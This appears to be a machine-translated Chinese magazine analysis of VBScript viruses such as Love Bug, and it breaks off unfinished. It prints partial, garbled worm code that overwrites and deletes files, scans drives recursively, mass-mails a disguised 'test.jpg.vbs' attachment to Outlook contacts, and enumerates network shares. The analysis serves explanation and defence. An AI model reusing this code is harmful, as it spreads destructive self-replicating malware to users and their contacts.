
互联网的普及使我们的世界变得更加美好,但时代也令人不愉快. 当您收到主题为“ ILoveYou”的电子邮件,并用激动的颤抖的鼠标单击附件时;当您浏览受信任的网站并发现打开每个文件夹的速度非常慢时,您是否知道该病毒已侵入您的世界? 2000年5月4日,“ Love Bug”网络蠕虫在欧洲和美国爆发. 由于通过电子邮件系统的传播,love bug病毒在短短几天内袭击了全球数百万台计算机. 包括微软和英特尔在内的许多大型企业的网络系统都瘫痪了,全球经济损失已达数十亿美元. 去年爆发的新型欢乐时光病毒使大多数计算机用户更加悲惨.
上述两种病毒的最大共同特征之一是: 用VBScript编写. 以Love Bug和New Happy Hour病毒为代表的VBS脚本病毒非常猖ramp. 重要原因之一是编写起来很简单. 让我们逐一分析VBS脚本病毒的各个方面:
首先,Vbs脚本病毒的特征和发展现状
VBS病毒是用VBScript编写的. 脚本语言非常强大. 它们使用Windows系统的开放功能,并且可以通过调用一些现有的Windows对象和组件来直接控制文件系统和注册表. 该功能非常强大. 应该说病毒是一个主意,但是当用VBS实施时,这个主意变得非常容易. VBS脚本病毒具有以下特征:
1. 编写起来很简单. 没有病毒知识的病毒爱好者可以在短时间内编译出新型病毒.
2. 破坏性的. 它的破坏力不仅体现在破坏用户系统文件和性能上. 他还可能使邮件服务器崩溃并严重阻塞网络.
3. 传染性. 因为该脚本是直接解释和执行的,并且不需要像PE病毒那样复杂的PE文件格式处理,所以这种类型的病毒可以通过自我复制直接感染其他类似文件,并且自我例外处理变得非常容易.
4. 价差很大. 这样的病毒可以通过htm文件,电子邮件附件或其他方法在很短的时间内传播到全世界.
5. 病毒源代码很容易获得,并且有许多变体. 由于VBS病毒是经过解释和执行的,因此其源代码非常易读. 即使在病毒源代码被加密之后,获取源代码也相对简单. 因此,这种病毒有许多变种. 如果稍微更改病毒的结构或修改特征值,许多防病毒软件可能会无能为力.
6. 骗人的为了获得运行的机会,脚本病毒经常使用各种手段使用户较少关注. 例如,电子邮件的附件名称使用双后缀,例如.jpg.vbs. 由于系统默认情况下不显示后缀,因此用户会看到此文件,它将被视为jpg图片文件.
7. 它使病毒生产机非常易于实施. 所谓的病毒产生机器是一种可以根据用户的意愿产生病毒的机器(当然,这是指程序). 当前的病毒产生机器主要是脚本化病毒产生机器. 最重要的是因为该脚本已经过说明和执行,并且很容易实现,将在后面讨论.
由于上述特征,脚本病毒的发展非常迅速,特别是病毒产生机器的出现,使得很容易生成新的脚本病毒.
Vbs脚本病毒的第二,原理分析
1. vbs脚本病毒如何感染和搜索文件
VBS脚本病毒通常通过复制自身直接感染文件. 病毒中的大多数代码都可以直接附加到其他类似程序的中间. 例如,新的欢乐时光病毒可以将其自己的代码附加到.htm文件. 并在顶部添加一条语句以调用该病毒代码,而Love Bug病毒直接生成该文件的副本,将病毒代码复制到其中,并使用原始文件名作为病毒文件名的前缀,并使用vbs作为后缀. 让我们通过爱情bug病毒的部分代码来分析这些病毒的感染和搜索原理:
以下是文件感染的一些关键代码:
Setfso = createobject(“ scripting.filesystemobject”)'创建文件系统对象
setself = fso.opentextfile(wscript.scriptfullname,1)'读取以打开当前文件(即病毒本身)
vbscopy = self.readall'将所有病毒代码读取到字符串变量vbscopy ......
setap = fso.opentextfile(target file.path,2,true)'写入打开的目标文件,准备编写病毒代码
ap.writevbscopy'用病毒代码覆盖目标文件
ap.close
setcop = fso.getfile(target file.path)'获取目标文件路径
cop.copy(目标文件路径和“ .vbs”)“创建另一个病毒文件(后缀.vbs)
Target file.delete(true)'删除目标文件
以上内容描述了病毒文件如何感染普通文件: 首先将病毒自身的代码分配给字符串变量vbscopy,然后将此字符串覆盖到目标文件,并使用目标文件名vbs创建文件名前缀复制带有后缀的文件,最后删除目标文件.
以下是文件搜索代码的详细分析:
'此功能主要用于查找符合条件的文件并生成相应文件的病毒副本
subscan(文件夹_)'扫描功能定义vbs病毒,
onerrorresumenext'如果发生错误,请直接跳过该错误以防止错误窗口弹出

setfolder_ = fso.getfolder(文件夹_)
setfiles =当前目录中所有文件的folder_.files集合
foreachfileinfilesext = fso.GetExtensionName(文件)'获取文件后缀
ext = lcase(ext)'后缀名称转换为小写字母
ifext =“ mp5”,然后如果后缀名称是mp5,则表示感染. 请创建一个具有相应后缀名的文件,最好是后缀名异常,以免损坏正常程序.
Wscript.echo(文件)
endif
下一个
setsubfolders = folder_.subfolders
foreachsubfolderinsubfolders搜索其他目录;递归调用
扫描()
扫描(子文件夹)
下一个
endsub
上面的代码是用于文件搜索的VBS脚本病毒的代码分析. 搜索部分的scan()函数相对简短,聪明,非常聪明,并使用递归算法遍历整个分区的目录和文件.
2. vbs脚本病毒通过网络传播的几种方式和代码分析
VBS脚本病毒广泛传播的原因取决于其网络传播功能. 一般来说,VBS脚本病毒以以下方式传播:
1)通过电子邮件附件传播
这是一种非常普遍的传播方式. 病毒可以通过多种方法获取合法的电子邮件地址. 最常见的一种是直接在Outlook通讯簿中获取电子邮件地址,或通过程序在用户文档(例如htm文件)中搜索电子邮件地址.
以下是对VBS脚本病毒如何执行此操作的详细分析:
FunctionmailBroadcast()
onerrorresumenext
wscript.echo
SetoutlookApp = CreateObject(“ Outlook.Application”)//创建OUTLOOK应用程序的对象
IfoutlookApp =“ Outlook”然后
SetmapiObj = outlookApp.GetNameSpace(“ MAPI”)//获取MAPI命名空间
SetaddrList = mapiObj.AddressLists //获取地址表的数量
ForEachaddrInaddrList
Ifaddr.AddressEntries.Count <> 0然后
addrEntCount = addr.AddressEntries.Count //获取每个地址表中的电子邮件记录数

ForaddrEntIndex = 1ToaddrEntCount //遍历地址表的电子邮件地址
Setitem = outlookApp.CreateItem(0)//获取邮件对象实例
SetaddrEnt = addr.AddressEntries(addrEntIndex)//获取特定的电子邮件地址
item.To = addrEnt.Address //填写收件人地址项. Subject=“病毒传播实验” //编写邮件头
item.Body =“这是一个病毒邮件传输测试,收到此信时请不要惊慌! //写入文件内容
SetattachMents = item.Attachments //定义电子邮件附件
attachMents.AddfileSysObj.GetSpecialFolder(0)&“ \ test.jpg.vbs”
item.DeleteAfterSubmit = True //提交信件后自动删除
Ifitem.To <>“”然后
item.Send //发送邮件
shellObj.regwrite“ HKCU \ software \ Mailtest \ mailed”,“ 1” //病毒标记,以避免重复感染
EndIf
下一步
EndIf
下一步
Endif
EndFunction
2)通过局域网共享和传播
局域网共享通信也是一种非常普遍有效的网络通信方法. 通常,为了方便局域网中的通信,必须有许多共享目录并具有写权限. 例如,在win2000中创建共享时,默认设置是具有写权限. 这样,病毒可以通过搜索共享目录将病毒代码传播到这些目录.
在VBS中,有一个对象可以实现邻居共享文件夹的搜索和文件操作. 我们可以使用这个对象来达到沟通的目的.
welcome_msg =“网络连接搜索测试”
SetWSHNetwork = WScript.CreateObject(“ WScript.Network”)'创建网络对象
SetoPrinters = WshNetwork.EnumPrinterConnections'创建网络打印机连接列表
WScript.Echo“ Networkprintermappings: ”
Fori = 0tooPrinters.Count-1Step2'显示网络打印机的连接状态
WScript.Echo“端口”&oPrinters.Item(i)&“ =”&oPrinters.Item(i + 1)
下一步
SetcolDrives = WSHNetwork.EnumNetworkDrives创建网络共享连接列表
IfcolDrives.Count = 0然后
MsgBox“没有要列出的驱动器. ”,vbInformation + vbOkOnly,welcome_msg

其他
strMsg =“当前网络驱动器连接: ”&CRLF
Fori = 0TocolDrives.Count-1Step2
strMsg = strMsg和Chr(13)&Chr(10)&colDrives(i)&Chr(9)&colDrives(i + 1)
下一步
MsgBoxstrMsg,vbInformation + vbOkOnly,welcome_msg'显示当前的网络驱动器连接
EndIf
上面是一个完整的脚本程序,用于查找当前的打印机连接和网络共享连接并显示它们. 了解共享连接后,我们可以直接将文件读写到目标驱动器.
3)通过htm,asp,jsp,php和其他Web文件的感染传播
如今,WWW服务已变得非常普遍. 病毒通过感染htm等文件,不可避免地会对所有访问该网页的用户造成病毒.
病毒可以在htm文件中发挥强大功能的原因与大多数网页恶意代码使用相同的原理. 基本上,它们使用相同的代码,但也可以使用其他代码,此代码是病毒FSO,WSH和其他对象可以在网页中运行的关键. 在注册表HKEY_CLASSES_ROOT \ CLSID \中,我们可以找到这样的主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}. 注册表中的另一个描述是“ WindowsScriptHostShellObject”. 同样,我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228},在注册表中的描述为“ FileSystemObject”. 通常,必须先初始化COM. 获得相应的组件对象后,病毒可以正确使用FSO和WSH两个对象并调用其强大功能. 代码如下:
SetApple0bject = document.applets(“ KJ_guest”)
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/ruanjian/article-208196-1.html
衣柜上
沉淀七年而崛起